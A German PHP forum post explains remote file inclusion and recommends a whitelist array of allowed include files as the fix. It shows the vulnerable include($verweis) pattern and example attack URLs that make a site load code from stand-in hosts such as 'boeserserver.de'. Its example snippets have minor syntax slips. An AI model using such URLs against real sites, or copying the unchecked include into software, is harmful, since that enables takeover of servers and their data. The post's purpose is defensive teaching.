Moin!
Ich glaube, es wurde in diesem Thread die Ursache des Problems noch nicht erläutert. Ich hole das mal nach, weil ich glaube, dass man nur dann, wenn man versteht, wo das Problem allgemein liegt, wirksame Gegenmittel entwerfen kann.
ich glaube mich erinnern zu können, dass hier im Forum mal jemand was davon gesagt hat, dass wenn ich Pfadangaben in einem Link mit übergebe, dies unsicher sei, da sonst irgendjemand mein Verzeichnis oder auch Dateien einsehen könne, die ihn überhaupt nicht's angehen.
Diese Aussage ist, so wie sie da steht, nicht wirklich korrekt. Das Problem mit jeglichen Benutzerdaten ist, was du mit ihnen machst.
Oberstes Prinzip: Benutzerdaten _sind böse_!
Alles, was vom Browser des Benutzers kommt, kann manipuliert sein! Auch wenn du komplette Webseiten auslieferst, kann der Benutzer die bei sich lokal speichern, umändern, wieder in den Browser laden und dann an dich abschicken. Das ist absolut kein Problem. Deshalb mußt du bei der Programmierung _immer_ davon ausgehen, dass man dir mit den gesendeten Daten ans Leder will.
Es ist deine Aufgabe, die möglichen Manipulationen durch geschickte Programmierung unmöglich zu machen.
Man sieht ja dann den Inhalt der Variablen in der Adressleiste des Browsers bzw. in der Statusleiste.
Beispielsweise so:
http://localhost/dirk/index.php?verweis=./altb_energ/balkon.phpWas genau kann ein "unbefugter" jetzt mit dieser Information anfangen, wenn er möchte?
Die Sache mit den Dateiangaben in der Statuszeile (oder auch in Formularen - das ist ganz egal) hat folgenden Grund:
Üblicherweise wird ein Anfänger diese Information direkt in ein
include($verweis)
umsetzen. Und BUMM - schon hat er ein schönes breites Hackertor geöffnet.
Der Grund ist: Die Funktion include() nimmt als Werte einzubindender Dateien grundsätzlich auch URLs entgegen. Man könnte also mittels
http://localhost/dirk/index.php?verweis=http://boeserserver.de/angriffsscript.txt
einfach eine Textdatei (die aber PHP-Code enthält - dazu muß einfach nur die Zeichenfolge <?php Angriffscode ?> im Text vorkommen) in die Site einbinden. Der Angriffscode hat dann alle Möglichkeiten und Zugriffserlaubnisse, die deine PHP-Scripte auch haben. Mögliche Angriffsszenarien: Dein Gästebuch wird gelöscht - PHP hat Schreibzugriff, sonst könnte es keine neuen Einträge hinzufügen. Deine Datenbank wird gelöscht - ist genau dasselbe. Irgendwo wird schon eine Datei mit den Zugangsdaten rumliegen, die man includen könnte. Und ganz oberschlimm: Nicht _deine_ Daten werden gelöscht, sondern aufgrund mangelhafter Konfiguration des Webservers werden Daten _anderer_ Webpräsenzen gelöscht - das allerdings darfstdu dem Provider dann zu 50% in seine Schuhe schieben, denn sowas könntest du dann im Prinzip auch selbst machen - oder jeder andere Nutzer des Servers mit dir.
Ich hoffe, du hast verstanden, warum es nicht gut ist, einer Include-Anweisung einen ungeprüften Dateinamen zu übergeben.
Lösungsmöglichkeiten:
1. Den Dateinamen prüfen. Wenn er mit "http://" beginnt, ist er böse. Wenn er auf nichtexistente Dateien zeigt (prüfbar mit file_exists(), dann ist er böse. Er ist eigentlich immer böse, egal wieviel man an dem Namen rumprüft, weil im Zweifel deine Prüfmethoden fehlerhaft sind, und durch geschickte Wahl von Angriffsmustern doch überlistet werden können.
Deshalb nimm lieber Methode 2:
Du legst ein Array mit allen von dir erlaubten Dateinamen an, die du per include() einbinden willst. Und in der URL-Zeile übergibst du nur noch den Index, den der Dateiname im Array hat. Auf diese Weise hast du mit einem absolut geringen Aufwand totale Sicherheit gewonnen. Warum?
Der Angreifer kann dir ja einen beliebigen Index schicken. Damit kann er natürlich alle Dateien einbinden, die du als gültig definiert hast - allerdings kann er keinesfalls _mehr_ oder _andere_ Dateien einbinden, sondern nur die, die du definiert hast.
Aussehen sollte das ganze ungefähr so:
Arraydefinition:
$einbinden[1]="./altb_energ/balkon.php"
$einbinden[2]="./altb_energ/garten.php"
$einbinden[3]="./startseite/index.php"
Und in der URL dann:
http://localhost/dirk/index.php?verweis=1
bindet "./altb_energ/balkon.php" ein.
Auswerten kann man das ganze simpel so:
include($einbinden[$verweis]);
Das ist allerdings nicht schön. Besser, du prüfst, ob in $einbinden[$verweis] was drinsteht, bevor du es einbindest (verhindert unschöne Fehlermeldungen):
if (isset($einbinden[$verweis])
{
include($einbinden[$verweis]);
}
else
{
// vielleicht Fehlermeldung ausgeben
}
Das ist aber immer noch nicht so schön: PHP hat seit Version 4.2 das automatische Übertragen von URL-Parametern und Formularinhalten in globale Variablen abgeschaltet - das ist nur noch eingeschaltet, wenn das explizit vom Admin vorgenommen wurde.
Deshalb verwendest du besser $_GET['verweis'] statt $verweis (und wenn die Verweis-Angabe in einem POST-Formular stand, nimm $_POST['verweis']). Solltest du noch eine PHP-Version vor 4.1 (also 4.0.x) verwenden, dann mußt du leider die langen, alten Variablennamen nehmen: $HTTP_GET_VARS['verweis'] bzw. $HTTP_POST_VARS['verweis'].
if (isset($einbinden[$_GET['verweis']])
{
include($einbinden[$_GET['verweis']]);
}
Und wenn du dir keine Zahlen merken kannst, darfst du gerne bei der Arraydefinition auch Hash-Schlüssel verwenden (dann bitte in Anführungszeichen):
$einbinden['balkon']="./altb_energ/balkon.php"
$einbinden['garten']="./altb_energ/garten.php"
$einbinden['index']="./startseite/index.php"
In die URL kommt dann
http://localhost/dirk/index.php?verweis=garten
für die Einbindung von "./altb_energ/garten.php"
Ist lesefreundlicher, und genauso sicher, denn include wird nur ausgeführt, wenn für den in der URL übergebenen Indexwert ein Wert im Array gespeichert ist (denn das ist von dir als unbedenklich dort eingetragen worden).
Man kann nicht mit
http://localhost/dirk/index.php?verweis=http://badserver/angriff.txt
irgendein böses Script einbinden, weil es keinen definierten Arrayeintrag
$einbinden['http://badserver/angriff.txt']
gibt.
- Sven Rautenberg
"Bei einer Geschichte gibt es immer vier Seiten: Deine Seite, ihre Seite, die Wahrheit und das, was wirklich passiert ist." (Rousseau)